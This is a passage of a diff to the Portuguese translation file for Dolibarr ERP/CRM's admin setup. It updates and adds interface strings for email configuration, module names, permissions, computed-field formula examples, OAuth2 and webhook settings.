pelo servidor da web. PurgeDeleteLogFile=Eliminar os ficheiros de registo, incluindo %s definido para o módulo Syslog (não existe risco de perda de dados) PurgeDeleteTemporaryFiles=Excluir todos os ficheiros de log e temporários (sem risco de perda de dados). O parâmetro pode ser 'tempfilesold', 'logfiles' ou ambos 'tempfilesold + logfiles'. Nota: A exclusão de ficheiros temporários é feita apenas se o diretório temporário foi criado há mais de 24 horas. -PurgeDeleteTemporaryFilesShort=Delete log and temporary files (no risk of losing data) +PurgeDeleteTemporaryFilesShort=Eliminar registos e ficheiros temporários (sem risco de perda de dados) PurgeDeleteAllFilesInDocumentsDir=Exclua todos os arquivos do diretório: %s .
      Isso excluirá todos os documentos gerados relacionados aos elementos (terceiros, faturas etc ...), arquivos carregados no módulo ECM, despejos de backup de banco de dados e arquivos temporários. PurgeRunNow=Limpar agora PurgeNothingToDelete=Nenhuma diretoria ou ficheiros para eliminar. @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=Hospedeiro de SMTP/SMTPS (Por predefinição no php.ini: < MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Porta SMTP / SMTPS (Não definida em PHP em sistemas Unix-like) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=Hospedeiro de SMTP/SMTPS (Não definido no PHP nos sistemas de tipo Unix) MAIN_MAIL_EMAIL_FROM=E-mail do remetente para e-mails automáticos (valor padrão em php.ini: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=E-mail usado para erro retorna e-mails (campos 'Erros-Para' nos e-mails enviados) MAIN_MAIL_AUTOCOPY_TO= Copiar (Cco) todos os emails enviados para MAIN_DISABLE_ALL_MAILS=Desativar todo o envio de email (para fins de teste ou demonstrações) @@ -375,7 +375,7 @@ DoTestSendHTML=Teste de envio HTML ErrorCantUseRazIfNoYearInMask=Erro, não pode usar a opção @ para repor o contador a cada ano, se sequência {yy} ou {aaaa} não está na máscara. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Erro, não pode usar a opção @ se a sequência {yy}{mm} ou {yyyy}{mm} não se encontra na máscara definida. UMask=Parâmetro UMask de novos ficheiros em sistemas Unix/Linux/BSD/macOS. -UMaskExplanation=Este parâmetro permite definir permissões usadas por omissão em ficheiros criados pelo Dolibarr no servidor (durante o carregamento, por exemplo).
      Este deve ter o valor octal (por exemplo, 0666 significa permissão de leitura/escrita para todos).
      Este parâmetro não tem nenhum efeito sobre um servidor Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Dê uma olhada na página Wiki para obter uma lista de contribuidores e suas organizações UseACacheDelay= Atraso, em segundos, para o caching de exportação (0 ou em branco para não criar cache) DisableLinkToHelpCenter=Hide the link "Need help or support" on the login page @@ -439,8 +439,10 @@ Unique=Único Boolean=Booliano (uma caixa de marcação) ExtrafieldPhone = Telefone ExtrafieldPrice = Preço +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Email ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Lista de selecção ExtrafieldSelectList = Selecionar da tabela ExtrafieldSeparator=Separador (não um campo) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Caixas de marcação ExtrafieldCheckBoxFromList=Caixas de marcação da tabela ExtrafieldLink=Vincular a um objeto ComputedFormula=Campo calculado -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Deixar esse campo em branco significa que esse valor será armazenado sem criptografia (o campo deve ser oculto apenas com estrela na tela).
      Defina 'auto' para usar a regra de criptografia padrão para salvar a senha no banco de dados (o valor lido será o hash apenas, nenhuma maneira de recuperar o valor original) @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Se o seu serviço de e-mail SMTP restringir o cliente de e-mail a alguns endereços IP (muito raro), utilize o seguinte endereço IP da sua instalação ERP CRM Dolibarr: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Ativar o uso de tradução sobrescrita +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Uma tradução foi encontrada para a chave com este código. Para alterar este valor, você deve editá-lo em Home-Setup-translation. WarningSettingSortOrder=Aviso, definir uma ordem de classificação padrão pode resultar em um erro técnico ao entrar na página da lista se o campo for um campo desconhecido. Se você tiver um erro desse tipo, volte para esta página para remover a ordem de classificação padrão e restaurar o comportamento padrão. Field=Campo @@ -643,11 +646,13 @@ Module2300Name=Tarefas agendadas Module2300Desc=Gestão de trabalhos agendados (alias cron ou tabela chrono) Module2400Name=Eventos/Agenda Module2400Desc=Provas de pista. Registre eventos automáticos para fins de rastreamento ou registre eventos ou reuniões manuais. Este é o módulo principal para um bom gerenciamento de relacionamento com o cliente ou fornecedor. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=SGD / GEC Module2500Desc=Sistema de Gestão de Documentos / Gestão de Conteúdo Eletrónico. Organização automática dos seus documentos gerados ou armazenados. Compartilhe-os quando precisar. -Module2600Name=Serviços API/Web (servidor SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Ativar o servidor SOAP do Dolibarr, fornecendo serviços API -Module2610Name=Serviços API/Web (servidor REST) +Module2610Name=API / Web services (REST server) Module2610Desc=Ativar os serviços API do servidor REST do Dolibarr Module2660Name=Serviços Web de chamada (cliente SOAP) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=Capacidades de conversões GeoIP Maxmind Module3200Name=Arquivos inalteráveis Module3200Desc=Ativar um registro inalterável de eventos de negócios. Eventos são arquivados em tempo real. O log é uma tabela somente leitura de eventos encadeados que podem ser exportados. Este módulo pode ser obrigatório para alguns países. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Redes sociais Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=GRH @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Adicione recursos para gerenciar Incoterms Module63000Name=Recursos Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=Consultar faturas a clientes +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Criar/modificar faturas a clientes Permission13=Invalidar faturas de clientes Permission14=Validar faturas a clientes @@ -842,9 +852,9 @@ Permission286=Exportar contactos Permission291=Consultar tarifas Permission292=Definir permissões das tarifas Permission293=Modificar as tarifas do cliente -Permission300=Leia códigos de barras -Permission301=Criar / modificar códigos de barras -Permission302=Excluir códigos de barras +Permission301=Gerar folhas de códigos de barra PDF +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Consultar serviços Permission312=Atribuir serviço/subscrição ao contrato Permission331=Consultar marcadores @@ -940,7 +950,7 @@ Permission1190=Approve (second approval) purchase orders Permission1191=Export supplier orders and their attributes Permission1201=Obter resultado de uma exportação Permission1202=Criar/Modificar uma exportação -Permission1231=Leia as faturas do fornecedor +Permission1231=Read vendor invoices (and payments) Permission1232=Criar / modificar faturas de fornecedores Permission1233=Validar faturas de fornecedores Permission1234=Excluir faturas de fornecedor @@ -971,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Configuração guardada SetupNotSaved=A configuração não foi guardada +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Voltar à lista de módulos BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Tipo de selo fiscal @@ -1194,10 +1209,10 @@ DoNotSuggestPaymentMode=Não sugerir NoActiveBankAccountDefined=Nenhuma conta bancária ativa definida OwnerOfBankAccount=Titular da conta bancária %s BankModuleNotActive=O módulo de contas bancarias não se encontra ativado -ShowBugTrackLink=Show the link "%s" +ShowBugTrackLink=Mostrar a hiperligação "%s" ShowBugTrackLinkDesc=Keep empty to not display this link, use value 'github' for the link to the Dolibarr project or define directly an url 'https://...' Alerts=Alertas -DelaysOfToleranceBeforeWarning=Displaying a warning alert for... +DelaysOfToleranceBeforeWarning=A exibir um alerta de aviso para... DelaysOfToleranceDesc=Defina o atraso antes que um ícone de alerta %s seja mostrado na tela para o elemento atrasado. Delays_MAIN_DELAY_ACTIONS_TODO=Eventos planejados (eventos da agenda) não concluídos Delays_MAIN_DELAY_PROJECT_TO_CLOSE=Project not closed in time @@ -1222,10 +1237,10 @@ SetupDescription4= %s -> %s

      Este software é um con SetupDescription5=Outras entradas do menu Setup gerenciam parâmetros opcionais. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s -Audit=Security events +Audit=Eventos de segurança InfoDolibarr=Sobre o Dolibarr InfoBrowser=Sobre o navegador InfoOS=Sobre o sistema operativo @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Os parâmetros de configuração só podem ser definidos pelos SystemInfoDesc=Esta informação do sistema é uma informação técnica acessível só para leitura dos administradores. SystemAreaForAdminOnly=Esta área está disponível apenas para usuários administradores. As permissões do usuário Dolibarr não podem alterar esta restrição. CompanyFundationDesc=Edite as informações da sua empresa / organização. Clique no botão "%s" na parte inferior da página quando terminar. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Os acionadores deste ficheiro estão ativos, isto po GeneratedPasswordDesc=Escolha o método a ser usado para senhas geradas automaticamente. DictionaryDesc=Insira todos os dados de referência. Você pode adicionar os seus valores aos valores predefinidos. ConstDesc=Esta página permite que você edite (substitua) parâmetros não disponíveis em outras páginas. Em sua maioria, esses parâmetros são reservados apenas para desenvolvedores / solução de problemas avançada. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=Aqui são definidos todos os outros parâmetros relacionados com segurança. LimitsSetup=Configuração de limites/precisão LimitsDesc=Você pode definir limites, precisões e otimizações usadas pelo Dolibarr aqui @@ -1294,8 +1311,10 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=Deve executar este comando a pa YourPHPDoesNotHaveSSLSupport=Funções SSL não estão disponíveis no seu PHP DownloadMoreSkins=Mais temas para descarregar SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset -ShowProfIdInAddress=Show professional ID with addresses +ShowProfIdInAddress=Mostrar Id. profissional com endereços ShowVATIntaInAddress=Hide intra-Community VAT number TranslationUncomplete=Tradução parcial MAIN_DISABLE_METEO=Disable weather thumb @@ -1380,7 +1399,7 @@ GetBarCode=Obter código de barras NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Retorne uma senha gerada de acordo com o algoritmo Dolibarr interno: %s caracteres contendo números compartilhados e caracteres em minúsculas. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Não sugira uma senha gerada. A senha deve ser digitada manualmente. PasswordGenerationPerso=Retornar uma palavra-passe que esteja de acordo com sua configuração definida. SetupPerso=De acordo com a sua configuração @@ -1434,6 +1453,10 @@ SuppliersPayment=Pagamentos a fornecedores SupplierPaymentSetup=Vendor payments setup InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Configuração do módulo de orçamentos ProposalsNumberingModules=Modelos de numeração do orçamento @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Marca d'água nos contratos rascunho (nenhuma se e ##### Members ##### MembersSetup=Configuração do módulo "Membros" MemberMainOptions=Opções principais +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Gerir um login para cada membro AdherentMailRequired=Email necessário para criar um novo membro MemberSendInformationByMailByDefault=Selecione para enviar email de confirmação aos membros (validação ou nova subscrição), está ativada por defeito MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Ativar editor avançado para: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= Criação/Edição WYSIWIG para emails em massa (Ferramentas->eMailing) FCKeditorForUserSignature=Criação/Edição WYSIWIG da assinatura do utilizador FCKeditorForMail=Criação/Edição WYSIWIG para todo o correio (exceto Ferramentas->eMailling) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Gestor de menus onde será exibido o novo menu DetailMenuModule=Nome do módulo, no caso da entrada do menu ser resultante de um módulo DetailType=Tipo de menu (superior ou esquerdo) DetailTitre=Etiqueta do menu ou código da etiqueta para tradução -DetailUrl=URL da página para a qual o menu aponta (Hiperligação do URL fixa ou hiperligação externa com http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Condição para mostrar, ou não, a entrada DetailRight=Condição para mostrar menus cinza não autorizados DetailLangs=Nome do ficheiro. lang para a tradução de códigos de etiquetas @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use tipos de eventos (gerenciados no menu Setup -> Diction AGENDA_USE_EVENT_TYPE_DEFAULT=Definir automaticamente este valor padrão para o tipo de evento no formulário de criação de evento AGENDA_DEFAULT_FILTER_TYPE=Definir automaticamente esse tipo de evento no filtro de pesquisa da visualização da agenda AGENDA_DEFAULT_FILTER_STATUS=Definir automaticamente este status para eventos no filtro de pesquisa da visualização da agenda +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Ativar notificação sonora @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=Você não desativou a redução de estoque ao fazer uma venda no Ponto de venda. Por isso, é necessário um depósito. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Configuração do módulo "Marcadores" BookmarkDesc=Este módulo permite gerenciar marcadores. Você também pode adicionar atalhos para quaisquer páginas Dolibarr ou sites externos no seu menu à esquerda. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Modelos de numeração de faturas de fornecedores IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=Configuração do módulo "GeoIP Maxmind" -PathToGeoIPMaxmindCountryDataFile=Caminho para o arquivo que contém a tradução do Maxmind ip para o país.
      Exemplos:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/shareCountry.Geomm/Geomm2 +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Note que o endereço IP de dados do país/arquivo deve estar dentro de um diretório do seu PHP (Verifique a configuração do PHP open_basedir e permissões de ficheiros de sistema). YouCanDownloadFreeDatFileTo=Você pode descarregar uma versão demo gratuita do ficheiro país Maxmind GeoIP em %s. YouCanDownloadAdvancedDatFileTo=Você também pode baixar uma versão mais completa, com atualizações do país arquivo GeoIP MaxMind em %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Instalação do módulo externo não é possível a partir da interface web pelo seguinte motivo: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Instalação de um módulo externo da aplicação foi desativada pelo seu administrador. Você deve pedir-lhe para remover o ficheiro %s para permitir esta funcionalidade. ConfFileMustContainCustom=Instalar ou construir um módulo externo do aplicativo precisa salvar os arquivos do módulo no diretório. %sPara que este diretório seja processado pelo Dolibarr, você deve configurar seu conf/conf.php para adicionar as 2 linhas diretivas:
      $dolibarr_main_url_root_alt ='/ custom';
      $dolibarr_main_document_root_alt='%s/ custom'; HighlightLinesOnMouseHover=Realçar as linhas da tabela quando o rato passar sobre elas @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Filtro Regex para limpar valor (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Responsável pela proteção de dados (DPO, Privacidade de dados ou contato GDPR) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Texto de ajuda para mostrar na dica de ferramenta @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Diretório de destino da caixa de correio EmailcollectorOperations=Operações para fazer pelo coletor EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Recolher agora ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2109,6 +2140,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Recomendada NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Definições WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss QR-Bill code on invoices +INVOICE_SHOW_SHIPPING_ADDRESS=Show shipping address +INVOICE_SHOW_SHIPPING_ADDRESSMore=Compulsory mention for France UrlSocialNetworksDesc=Url link of social network. Use {socialid} for the variable part that contains the social network ID. IfThisCategoryIsChildOfAnother=If this category is a child of another one DarkThemeMode=Dark theme mode @@ -2307,3 +2342,37 @@ UsePassword=Use a password UseOauth=Use a OAUTH token Images=Images MaxNumberOfImagesInGetPost=Max number of images allowed in a HTML field submitted in a form +MaxNumberOfPostOnPublicPagesByIP=Max number of posts on public pages with the same IP address in a month +CIDLookupURL=The module brings an URL that can be used by an external tool to get the name of a thirdparty or contact from its phone number. URL to use is: +ScriptIsEmpty=The script is empty +ShowHideTheNRequests=Show/hide the %s SQL request(s) +DefinedAPathForAntivirusCommandIntoSetup=Define a path for an antivirus program into %s +TriggerCodes=Triggerable events +TriggerCodeInfo=Enter here the trigger code(s) that must generate a post of a web request (only external URL are allowed). You can enter several trigger codes separated by a comma. +EditableWhenDraftOnly=If unchecked, the value can only be modified when object has a draft status +CssOnEdit=Css on edit pages +CssOnView=Css on view pages +CssOnList=Css on list pages +HelpCssOnEditDesc=The Css used when editing the field.
